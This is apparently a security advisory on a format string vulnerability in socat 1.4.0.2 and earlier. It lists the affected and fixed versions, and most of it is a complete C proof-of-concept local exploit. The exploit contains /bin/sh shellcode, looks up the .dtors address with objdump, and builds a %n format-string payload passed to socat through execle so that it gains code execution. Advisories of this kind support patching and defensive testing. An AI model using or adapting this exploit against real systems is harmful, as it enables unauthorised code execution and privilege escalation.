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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

socat is "a multipurpose bidirectional relay, similar to netcat". socat contains a format string vulnerability that can potentially lead to remote or local execution of arbitrary code with the privileges of the socat process. The attached exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by CoKi.

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Vulnerable Systems:
* socat version 1.4.0.2 and prior

Immune Systems:
* socat version 1.4.0.3 and newer

Exploit:
/* socat_exp.c

  Socat Format String Vulnerability

  socat <= 1.4.0.2 local exploit (Proof of Concept) - SECU

  Tested in Slackware 9.0 / 9.1 / 10.0

  by CoKi <coki@nosystem.com.ar>
  No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/usr/local/bin/socat"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]= /* aleph1 shellcode.45b */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

    int i, dtorsaddr;
    unsigned int bal1, bal2, bal3, bal4;
    char temp[512];
    char buffer[1024];
    int cn1, cn2, cn3, cn4;
    FILE *f;
    char *env[3] = {shellcode, NULL};
    int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);

    sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
    f = popen(temp, "r");
    if(fscanf(f, " %08x", &dtorsaddr) != 1) {
        pclose(f);
        printf("Cannot find .dtors address\n");
        exit(1);
    }
    pclose(f);
    dtorsaddr = dtorsaddr + 4;

    printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n");
    printf(" by CoKi <coki@nosystem.com.ar>\n\n");
    printf(" shellcode address = %.8p\n", shaddr);
    printf(" .dtors address = %.8p\n\n", dtorsaddr);

    bzero(temp, sizeof(temp));
    bzero(buffer, sizeof(buffer));

    strcat(buffer, "-ly");

    for(i = 0; i < 4; i++) {
        bzero(temp, sizeof(temp));
        sprintf(temp, "%s", &dtorsaddr);
        strncat(buffer, temp, 4);
        dtorsaddr++;
    }

    bal1 = (shaddr & 0xff000000) >> 24;
    bal2 = (shaddr & 0x00ff0000) >> 16;
    bal3 = (shaddr & 0x0000ff00) >> 8;
    bal4 = (shaddr & 0x000000ff);

    cn1 = bal4 - 27 - 16;
    cn1 = check(cn1);
    cn2 = bal3 - bal4;
    cn2 = check(cn2);
    cn3 = bal2 - bal3;
    cn3 = check(cn3);
    cn4 = bal1 - bal2;
    cn4 = check(cn4);

    sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4);

    strcat(buffer, temp);

    execle(PATH, "socat", buffer, NULL, env);
}

int check(unsigned long addr) {
    char tmp[128];
    snprintf(tmp, sizeof(tmp), "%d", addr);
    if(atoi(tmp) < 1)
        addr = addr + 256;

    return addr;
}

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